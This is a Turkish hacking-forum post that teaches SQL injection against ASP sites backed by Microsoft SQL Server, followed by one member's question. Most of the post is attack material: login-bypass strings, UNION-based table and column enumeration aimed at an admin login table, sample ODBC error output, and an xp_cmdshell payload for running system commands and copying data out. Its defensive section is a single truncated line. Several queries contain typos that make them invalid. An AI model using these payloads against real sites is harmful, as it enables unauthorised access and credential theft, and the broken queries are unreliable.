Database Hack / Db Hack

Database Hack (Sql Enjeksiyon)
Web üzerinde kullanılan pek çok uygulama back-end olarak hizmet veren bbir database kullanır.

Bu sayede kullanıcıya interaktif bir oturum sağlamış olur. Bu tip uygulamaların sıkca kullanıldıgı alanlardan biri de formlardır.
Kullanıcı ilgili forma kullanıcı ismini, şifresini, bilgilerini vs. , yazar. daha sonra da ’’ Gönder, Kayıt Ol, Submit’’ Alternatiflerine tıklar
ve kendi bilgilerini gönderir. Web sitesinde kullanılan ASP, PHP, JSP gibi uygulamalar kulllanıcının gönderdiği bilgileri alır
ve veritabanına gönderir. Backend olarak kullanılan databaseler de gelen istek karsısında tablolara bakar ve istenilen kriterleri sağlıyorsa onay verir. Databaselerden en çok kullanılan Microsoft SQl ve :Unix tabanlı sistemlerde kullanılan MySQL’dur.
Özellikle MSSQL üzerinden yapılan saldırılarda kullanıcı bilgilerine ya da diğer bilgilere ulasmak mümkündür. Bunun için biraz SQL mantıgını bilmek yeterlidir.
Şimdi olayın detaylarına inelim:
Bizim ilk yapmamız gereken web sayfasında form kullanan bir site bulmak. Formlar pek cok sitede kullanılan ve kullanıcıyla etkilesimi saglayan elemanlardır.
Bir html sayfasındaki basit form şu şekildedir:


<Form action=Search/search.asp method=post>
<input type=hidden name =password value=sifre>
</Form>


<FORM> ve </FORM> arasındaki her parametre bizim için kullanıslı olabiilir. Amacımıza ulasmak için form elemanlarını kullanan siteleri
arastırmalıyız. Özellikle http://www.bond.com/index.asp?userid=15 şeklinde ASP sitelerine bakarız. Bu tarz bir site buldugumuz zaman
yapmamız gereken sey öncelikle form yada URL adresine su tarz bir şey yazmak olacak:


http://www.bond.com/index.asp?userid= or 1=1--


Bu ifade login kısmına da şifre kısmınada URL adresinin oldugu kısma yazılabilir. Peki amöa bu ifade ne anlama geliyor normalde kullannıcı isimi yafaşifre girmesi gereken yerde
rastgele bir karrkterin ardından ’ or 1=1-- yazılması SQL dilinde kullanılan noktalamma işaretleri ve lojik ifadeler yardımıyla login login ekranını dogrudan gecmek ve normalde görüşmeyen ekstra bilgilere ulasmak içindir.
Konuyu biraz daha acalım ve SQL veritabanında bir sorgulamanın nasıl yapıldıgına bakalım . SQL da basit bir sorgulama su formatta yapılır:


SELECT * FROM uyeler WHERE userID=’Bond’


Yukarıdaki deyim ’’uyeler’’ tablosunda kullanıcı ismi ’’Bond’’ olan yani benim bütün kayıtlarımı görmek için kullanılır. Bu deyim de Bond kelimesinin 2 yanındaki tek tırnaga dikkat edin
UserID kısmı zaten URL kısmında göruldugunden biz bu bilgiyi kullanarak girdigimiz bazı degerleeri SQL’a enjekte olabillir. SQL enjeksiyonu olarak dabilinen bu olayda biz ’or 1=1-- yazarak giriş satırının kullanıcı isminin
hiç bir şey olması yada 1=1 eşitliğinin sağlanması gerektigini SQL a enjekte etmeye calısırız. Bu yazdıgı ifade SQL a su sekilde gider:


SELECT * FROM uyeler WHERE userID=’’ or 1=1--’


DEyiminin sonnnundaki -- ise kalan kısmı dikkate almamasını söyler. SQL sorgulamasında asagıdakilerden herhangi biri kullanılabilir:


’ or 1=1--
’’or 1=1--
or 1=1--
’ or’a’=’a
’’or’’a’’=’’a
’) or (’a’=’a

Peki bunu yapınca ne olacak? buradaki amac farklı noltalama işaretlerini kullanarak SQL un ODBC hatalarını vermesini saglamak. Biz girmek istediğimiz web sitesinde söyle bir ASP sayfasının oldugunu varsayalım


http://www.bond.com/index.asp?id=5


Şimdi aşama aşama nasıl sonuca gittiğimize bakalım. Öncelikle yukarıda anlatılan noktalama işaretlerini kullanarak SQL u ODBC hatası vermeye zorlıycaz. Bu amacla iki veya daha fazla sorguyu tek sonuc setinde veren UNİON operatorunu kullanırız. UNION operatorunun genel kullanımı söyledir:


SELECT * FROM TABLO1 UNION SELECT * FROM TABLO2


Biz ise UNION operatorunun su sekilde kullanırız:


http://www.bond.com/index.asp?id=5 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--


’’INFORMATION_SCHEMA.TAVLES’’ sunucudaki tüm taaablolar hakkında bilgi tutan bir sistem tablosudur.’’ TOP 1 TABLE_NAME ’’ İse en üstteki tablodur.
Biz sistemde hangi tabloların oldugunu ve bunların isimlerinin ne oldugunu bilinmediğinden MSSQL da standart olan genel isimleri kullanılmısıtr. Bu sorgulamada databasedeki ilk tablo ekrana gelecektir
Ayrıca UNION operatoru sayesinde bizim verdiğimiz string 5 sayısına dönüştürülmeye calıssılacak ama su sekilde bir hata verecektir:


Microsoft OLE DB Provider for ODBC Drivers error ’8004e07’
[Microsoft][ODBC SQL Server Driver][SQL Server][Syntax error
converting the nvarchar value ’tablo1’ to a colmn of data type int.
/index.asp, line 5


Bu mesaj bizim için cok degerlidir. Cunku veritabanındaki ilk tablonun ismini öğrenmişizdir. Tablo 1. Sora diğer tablonun ismini öğrenmeye gelmiştir.


http://www.bond.com/index.asp?id=5 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATIION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (’tablo1’)--


Yada herhangi bir detayı içeren tabloyu LIKE operatoru ile aratabiliriz:


http://www.bond.com/index.asp?id=5 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ’%25login%25’--


alacagımız cevap su sekılde olacaktır:


Microsoft OLE DB Provider for ODBC Drivers error ’8004e07’
[Microsoft][ODBC SQL Server Driver][SQL Server][Syntax error
converting the nvarchar value ’admin_login’ to a colmn of data type int.
/index.asp, line 5


Bir asama daha katetmıs olduk cunku kullandıgı LIKE operatoru ile içinde ’’login’’ olan tabloyu aratmıs ve bulmus olduk: ’’admin_login’.
Şimdiki hedefimiz ise ’’admin_log on’’ tablosundaki sutunların ısımlerını ogrenmek:


http://www.bond.com/index.asp?id=5 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_sCHEMA.COLUMNS EHERE TABLE_NAME LIKE = ’admin_login’--


SQL’un vereceği cevap söyledir:


Microsoft OLE DB Provider for ODBC Drivers error ’8004e07’
[Microsoft][ODBC SQL Server Driver][SQL Server][Syntax error
converting the nvarchar value ’login_id’ to a colmn of data type int.
/index.asp, line 5


’’admin_login’’ tablosunda ilk sutunun ismi ’’login_id’’ olarak bulundu. Ancak bir sonraki sutunun ismini de bilmemiz gerekiyor. Bunun için NOT IT operatorunu kullanıcaz:


http://www.bond.com/index.asp?id=5 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IT (’login_id’)--


Bu sorguya SQL şöyle cevap verir:


Microsoft OLE DB Provider for ODBC Drivers error ’8004e07’
[Microsoft][ODBC SQL Server Driver][SQL Server][Syntax error
converting the nvarchar value ’login_name’ to a colmn of data type int.
/index.asp, line 5


’’login_name’’ bilgisini de ele geçirmiş olduk. Şimdi bundan sonra benzer komutları uygulayarak yönetici hesabını ele geçirebiliriz ya da kendimizi yönetici olarak sisteme ekleyebiliriz.
Anlatılan bu yöntem dısında hedef makinede saklanan SQL prosedurlerıyle uzaktan komut calıstırmak da mumkun. MS SQL varsayılan olarak kuruldugunda Windows’daki administrator erisimine karsılık gelen SYSTEM hesabıyla calısır.
Bu hesapla sunucuya baglanıldıgında:


WWmaster ...xp_cmdshell ’dir c:’--


Komutu kullanılarak C: sürücüsündeki dosyaların ***üntülenmesi saglanılabilir. En bastaki işarekt SQL a sorgulemayı bitirmesini ve geri kalan kısımda verdiği komutu calıstırmasını söyleriz. Bu komutun SQL daki tam karsılıgı su sekildedir.


SELECT * FROM tablo1 where catid=’giyim’ ; EXEC master..xp_cmdshell ’dir c: ’---


Uzaktan komut calıstırmak suretiyle kullanıcı ismi ve sifresi yanlıs bile olsa öncemli bilgiler herhangi bir dosyaya yazdırıp sonra da kendi makinesinde acılan bir klasöre kopyalanması saglanılabilir.

KORUNMA
Noktalama İşaretlerini Kaldırın
Kullanıcılardan URL’den cookie değerlerinden gelen noktalama işaretlerinin [ ’, ’’, #, : ] girdi olarak alınmadan önce filtrelenmesi gerekir. Bunun için küçük ASP kodları kullanılabilir...
 

pars_turk

Katılımcı Üye
12 Ara 2007
405
5
form sitelerini nasıl bulcaz? forum siteleri mi yoksa formu anlamadım bi izah edermisiniz?
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.